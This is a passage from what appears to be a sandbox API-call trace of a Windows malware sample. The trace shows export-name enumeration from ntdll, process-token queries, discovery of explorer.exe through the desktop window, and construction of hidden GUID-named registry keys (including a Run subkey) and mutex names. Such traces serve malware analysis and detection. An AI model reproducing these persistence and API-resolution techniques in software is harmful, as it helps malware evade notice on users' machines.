(lpString="EtwGetTraceEnableLevel") returned 22 [0040.801] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0040.801] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0040.801] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0040.802] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0040.802] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0040.802] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0040.802] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0040.802] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0040.802] lstrlenA (lpString="EtwReplyNotification") returned 20 [0040.802] lstrlenA (lpString="EtwSendNotification") returned 19 [0040.802] lstrlenA (lpString="EtwSetMark") returned 10 [0040.802] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0040.802] lstrlenA (lpString="EtwTraceMessage") returned 15 [0040.802] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0040.802] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0040.802] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0040.802] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0040.802] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0040.802] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0040.802] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0040.802] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0040.802] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0040.802] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd16") returned 32 [0040.802] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0040.802] lstrlenA (lpString="ExpInterlockedPopEntrySListFault16") returned 34 [0040.802] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0040.802] lstrlenA (lpString="ExpInterlockedPopEntrySListResume16") returned 35 [0040.802] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0040.802] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0040.802] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0040.802] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0040.802] lstrlenA (lpString="LdrAccessResource") returned 17 [0040.802] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0040.802] lstrlenA (lpString="LdrAddRefDll") returned 12 [0040.802] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0040.802] lstrlenA (lpString="LdrEnumResources") returned 16 [0040.802] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0040.802] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0040.802] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0040.802] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0040.802] lstrlenA (lpString="LdrFindResource_U") returned 17 [0040.802] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0040.802] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0040.803] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0040.803] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0040.803] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0040.803] lstrlenA (lpString="LdrGetFailureData") returned 17 [0040.803] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0040.803] lstrlenA (lpString="LdrGetKnownDllSectionHandle") returned 27 [0040.803] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0040.803] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0040.803] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0040.803] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0040.803] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0040.803] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0040.803] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0040.803] lstrlenA (lpString="LdrLoadDll") returned 10 [0040.803] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0040.803] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0040.803] lstrlenA (lpString="LdrProcessInitializationComplete") returned 32 [0040.803] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0040.803] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0040.803] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0040.803] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0040.803] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0040.803] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0040.803] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0040.803] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0040.803] lstrlenA (lpString="LdrResFindResource") returned 18 [0040.803] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0040.803] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0040.803] lstrlenA (lpString="LdrResRelease") returned 13 [0040.803] lstrlenA (lpString="LdrResSearchResource") returned 20 [0040.803] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0040.803] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0040.803] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0040.803] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0040.803] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0040.803] lstrlenA (lpString="LdrShutdownThread") returned 17 [0040.803] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0040.803] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0040.803] lstrlenA (lpString="LdrUnloadDll") returned 12 [0040.803] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0040.803] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0040.804] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0040.804] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0040.804] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0040.804] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0040.804] lstrlenA (lpString="MD4Final") returned 8 [0040.804] lstrlenA (lpString="MD4Init") returned 7 [0040.804] lstrlenA (lpString="MD4Update") returned 9 [0040.804] lstrlenA (lpString="MD5Final") returned 8 [0040.804] lstrlenA (lpString="MD5Init") returned 7 [0040.804] lstrlenA (lpString="MD5Update") returned 9 [0040.804] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0040.804] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0040.804] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0040.804] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0040.804] lstrlenA (lpString="NtAccessCheck") returned 13 [0040.804] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0040.804] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0040.804] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0040.804] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0040.804] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0040.804] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0040.804] lstrlenA (lpString="NtAddAtom") returned 9 [0040.804] lstrlenA (lpString="NtAddBootEntry") returned 14 [0040.804] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0040.804] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0040.804] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0040.804] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0040.804] lstrlenA (lpString="NtAlertThread") returned 13 [0040.804] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0040.804] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0040.804] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0040.804] lstrlenA (lpString="NtAllocateUuids") returned 15 [0040.804] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0040.804] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0040.804] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0040.804] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0040.804] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0040.804] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0040.804] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0040.804] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0040.804] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0040.804] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0040.805] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0040.805] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0040.805] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0040.805] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0040.805] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0040.805] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0040.805] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0040.805] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0040.805] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0040.805] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0040.805] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0040.805] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0040.805] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0040.805] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0040.805] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0040.805] lstrlenA (lpString="NtCallbackReturn") returned 16 [0040.805] lstrlenA (lpString="NtCancelIoFile") returned 14 [0040.805] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0040.805] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0040.805] lstrlenA (lpString="NtCancelTimer") returned 13 [0040.805] lstrlenA (lpString="NtClearEvent") returned 12 [0040.805] lstrlenA (lpString="NtClose") returned 7 [0040.805] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0040.805] lstrlenA (lpString="NtCommitComplete") returned 16 [0040.805] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0040.805] lstrlenA (lpString="NtCommitTransaction") returned 19 [0040.805] lstrlenA (lpString="NtCompactKeys") returned 13 [0040.805] lstrlenA (lpString="NtCompareTokens") returned 15 [0040.805] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0040.805] lstrlenA (lpString="NtCompressKey") returned 13 [0040.805] lstrlenA (lpString="NtConnectPort") returned 13 [0040.805] lstrlenA (lpString="NtContinue") returned 10 [0040.805] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0040.805] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0040.805] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0040.805] lstrlenA (lpString="NtCreateEvent") returned 13 [0040.805] lstrlenA (lpString="NtCreateEventPair") returned 17 [0040.805] lstrlenA (lpString="NtCreateFile") returned 12 [0040.805] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0040.806] lstrlenA (lpString="NtCreateJobObject") returned 17 [0040.806] lstrlenA (lpString="NtCreateJobSet") returned 14 [0040.806] lstrlenA (lpString="NtCreateKey") returned 11 [0040.806] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0040.806] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0040.806] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0040.806] lstrlenA (lpString="NtCreateMutant") returned 14 [0040.806] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0040.806] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0040.806] lstrlenA (lpString="NtCreatePort") returned 12 [0040.806] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0040.806] lstrlenA (lpString="NtCreateProcess") returned 15 [0040.806] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0040.806] lstrlenA (lpString="NtCreateProfile") returned 15 [0040.806] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0040.806] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0040.806] lstrlenA (lpString="NtCreateSection") returned 15 [0040.812] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x7fefd710000 [0040.812] GetProcAddress (hModule=0x7fefd710000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorA") returned 0x7fefd71d710 [0040.812] ConvertStringSecurityDescriptorToSecurityDescriptorA () returned 0x1 [0040.819] NtOpenProcess (in: ProcessHandle=0x27fae8, DesiredAccess=0x400, ObjectAttributes=0x27fa80*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x27fa70*(UniqueProcess=0xae4, UniqueThread=0x0) | out: ProcessHandle=0x27fae8*=0x12c) returned 0x0 [0040.819] NtOpenProcessToken (in: ProcessHandle=0x12c, DesiredAccess=0x8, TokenHandle=0x27fae0 | out: TokenHandle=0x27fae0*=0x130) returned 0x0 [0040.819] NtQueryInformationToken (in: TokenHandle=0x130, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x27fad0 | out: TokenInformation=0x0, ReturnLength=0x27fad0) returned 0xc0000023 [0040.819] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x2c) returned 0x25bd500 [0040.819] NtQueryInformationToken (in: TokenHandle=0x130, TokenInformationClass=0x1, TokenInformation=0x25bd500, TokenInformationLength=0x2c, ReturnLength=0x27fad0 | out: TokenInformation=0x25bd500, ReturnLength=0x27fad0) returned 0x0 [0040.819] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.819] NtClose (Handle=0x130) returned 0x0 [0040.819] NtClose (Handle=0x12c) returned 0x0 [0040.819] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x7fefd5c0000 [0040.819] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrRChrA") returned 0x7fefd5c4c9c [0040.820] StrRChrA (lpStart="C:\\Windows\\explorer.exe", lpEnd=0x0, wMatch=0x5c) returned="\\explorer.exe" [0040.820] _strupr (in: _String=0x25bd2fb | out: _String="EXPLORER.EXE") returned="EXPLORER.EXE" [0040.820] lstrlenA (lpString="EXPLORER.EXE") returned 12 [0040.820] GetCurrentProcessId () returned 0xae4 [0040.820] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x76f40000 [0040.820] GetProcAddress (hModule=0x76f40000, lpProcName="GetWindowThreadProcessId") returned 0x76f50a90 [0040.820] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76f40000 [0040.820] GetProcAddress (hModule=0x76f40000, lpProcName="FindWindowA") returned 0x76f68270 [0040.820] FindWindowA (lpClassName="ProgMan", lpWindowName=0x0) returned 0x100ee [0040.820] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x27fad0 | out: lpdwProcessId=0x27fad0) returned 0x45c [0040.822] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.822] GetProcAddress (hModule=0x76f40000, lpProcName="wsprintfA") returned 0x76fbbae8 [0040.822] wsprintfA (in: param_1=0x25bd500, param_2="%08X-%04X-%04X-%04X-%08X%04X" | out: param_1="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 36 [0040.822] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\") returned 39 [0040.822] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x4e) returned 0x25bd530 [0040.822] lstrcpyA (in: lpString1=0x25bd530, lpString2="Software\\AppDataLow\\Software\\Microsoft\\" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\") returned="Software\\AppDataLow\\Software\\Microsoft\\" [0040.822] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\", lpString2="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0040.822] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.822] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0040.822] lstrlenA (lpString="\\Vr") returned 3 [0040.822] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x4f) returned 0x25bd590 [0040.822] lstrcpyA (in: lpString1=0x25bd590, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0040.822] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Vr" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr" [0040.822] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0040.823] lstrlenA (lpString="\\Sfi") returned 4 [0040.823] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x50) returned 0x25bd5f0 [0040.823] lstrcpyA (in: lpString1=0x25bd5f0, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0040.823] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Sfi" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi" [0040.823] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0040.823] lstrlenA (lpString="\\Run") returned 4 [0040.823] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x50) returned 0x25bd650 [0040.823] lstrcpyA (in: lpString1=0x25bd650, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0040.823] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Run" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run" [0040.823] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0040.823] lstrlenA (lpString="\\Config") returned 7 [0040.823] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x53) returned 0x25bd6b0 [0040.823] lstrcpyA (in: lpString1=0x25bd6b0, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0040.823] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Config" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config" [0040.823] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.823] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{7F853548-D254-09EE-D423-264D4807BAD1}") returned 38 [0040.823] lstrlenA (lpString="Local\\") returned 6 [0040.823] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x2d) returned 0x25bd710 [0040.823] lstrcpyA (in: lpString1=0x25bd710, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0040.823] lstrcatA (in: lpString1="Local\\", lpString2="{7F853548-D254-09EE-D423-264D4807BAD1}" | out: lpString1="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}" [0040.823] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.823] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.823] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 38 [0040.823] lstrlenA (lpString="Local\\") returned 6 [0040.823] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x2d) returned 0x25bd750 [0040.823] lstrcpyA (in: lpString1=0x25bd750, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0040.823] lstrcatA (in: lpString1="Local\\", lpString2="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" | out: lpString1="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" [0040.823] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.823] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.823] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 38 [0040.823] lstrlenA (lpString="Local\\") returned 6 [0040.823] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x2d) returned 0x25bd790 [0040.823] lstrcpyA (in: lpString1=0x25bd790, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0040.823] lstrcatA (in: lpString1="Local\\", lpString2="{DD80286F-988C-17A7-8A61-4C3B5E25409F}" | out: lpString1="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}" [0040.823] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.823] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.823] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 38 [0040.823] lstrlenA (lpString="Local\\") returned 6 [0040.823] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x2d) returned 0x25bd7d0 [0040.823] lstrcpyA (in: lpString1=0x25bd7d0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0040.824] lstrcatA (in: lpString1="Local\\", lpString2="{722AD44B-2987-7426-43C6-6DE8275AF19C}" | out: lpString1="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}" [0040.824] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.824] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.824] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 38 [0040.824] lstrlenA (lpString="Local\\") returned 6 [0040.824] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x2d) returned 0x25bd810 [0040.824] lstrcpyA (in: lpString1=0x25bd810, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0040.824] lstrcatA (in: lpString1="Local\\", lpString2="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" | out: lpString1="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" [0040.824] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.824] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.824] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 38 [0040.824] lstrlenA (lpString="Local\\") returned 6 [0040.824] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x2d) returned 0x25bd850 [0040.824] lstrcpyA (in: lpString1=0x25bd850, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0040.824] lstrcatA (in: lpString1="Local\\", lpString2="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" | out: lpString1="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" [0040.824] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.824] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.824] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned 38 [0040.824] lstrlenA (lpString="Local\\") returned 6 [0040.824] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x2d) returned 0x25bd890 [0040.824] lstrcpyA (in: lpString1=0x25bd890, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0040.824] lstrcatA (in: lpString1="Local\\", lpString2="{49B0014D-14FD-63C5-668D-8847FA113C6B}" | out: lpString1="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}" [0040.824] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.824] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.824] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned 38 [0040.824] lstrlenA (lpString="Local\\") returned 6 [0040.824] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x2d) returned 0x25bd8d0 [0040.824] lstrcpyA (in: lpString1=0x25bd8d0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0040.824] lstrcatA (in: lpString1="Local\\", lpString2="{CE377949-D5DC-3008-CFE2-D96473361DD8}" | out: lpString1="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}" [0040.824] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.824] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.824] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: 